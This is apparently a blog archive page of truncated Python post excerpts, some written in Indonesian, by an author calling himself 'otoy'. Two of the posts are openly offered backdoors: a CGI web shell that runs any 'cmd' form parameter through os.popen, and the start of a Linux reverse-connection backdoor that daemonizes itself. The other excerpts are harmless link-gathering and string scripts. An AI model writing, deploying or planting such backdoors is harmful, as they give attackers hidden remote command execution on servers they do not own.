CGI Backdoor for Linux with Python
#!/usr/bin/env python # Info : Linux based CGI backdoor with python # author: otoy # date : 0x102010 import cgi,os,re,sys form = cgi.FieldStorage() cmd = form.getvalue('cmd', '') osexe = os.popen(cmd) dirt = os.getcwd()+'/' prognm = sys.argv[0].strip() progfl = re.findall(dirt+'(.*)',prognm)[0] osinf = os.uname() info='''==================================== CGI python backdoor ==================================== Author : otoy Date : 0x102010 Blog : <a href="http://otoyrood.wordpress.com"...
read moreWeb Links Gatherer (ver 2)
By using Beautiful Soup, we can change the code as seen at the previous post to the code below… and it even works much better… just by changing the regex function, it return a better result : #!/usr/bin/python # otoy -- http://otoyrood.wordpress.com # 0x102010 from urllib import urlopen from BeautifulSoup import BeautifulSoup text = urlopen('http://otoyrood.wordpress.com').read() soup = BeautifulSoup(text) pages = set() for header in soup('a'): pages.add(header['href']) print...
read moreWeb Links Gatherer dengan Python
program sederhana ini digunakan untuk mengumpulkan link-link yang ada pada sebuah halaman web, bisa juga di kembangkan menjadi sebuah crawler.. #!/usr/bin/python #info: program untuk mendapatkan info link-link # yang terdapat dalam sebuah halaman web # # otoy(http://otoyrood.wordpress.com) # 0x102010 from urllib import urlopen import re,sys peng = '''Penggunaan: python %s http://<alamat web> (jangan lupa http:// atau https://) Contoh : python %s http://otoyrood.wordpress.com''' %(sys.argv[0],sys.argv[0]) def main(): if len(sys.argv) <=1: print peng ...
read moreBermain String dengan Python
#!/usr/bin/python import sys pgun='''penggunaan: %s contoh: python %s saya pusing'''%(sys.argv[0],sys.argv[0]) def main(): args = sys.argv[1:] if len(sys.argv)...
read moreReverse Connection Backdoor for Linux
#!/usr/bin/python #Info : This is a linux based reverse connection backdoor and # this is NOT an interactive Shell! #Author : otoy #Date : 0x102010 #Blog : otoyrood.wordpress.com import socket,sys,os,re #define osinf = os.uname() info='''==================================== py_backdoor ==================================== Author : otoy Date : 0x102010 Blog : otoyrood.wordpress.com ==================================== System : %s %s ==================================== ''' %(osinf[0], osinf[2]) def daemonize(): pid = os.fork() if(pid != 0): ...
read more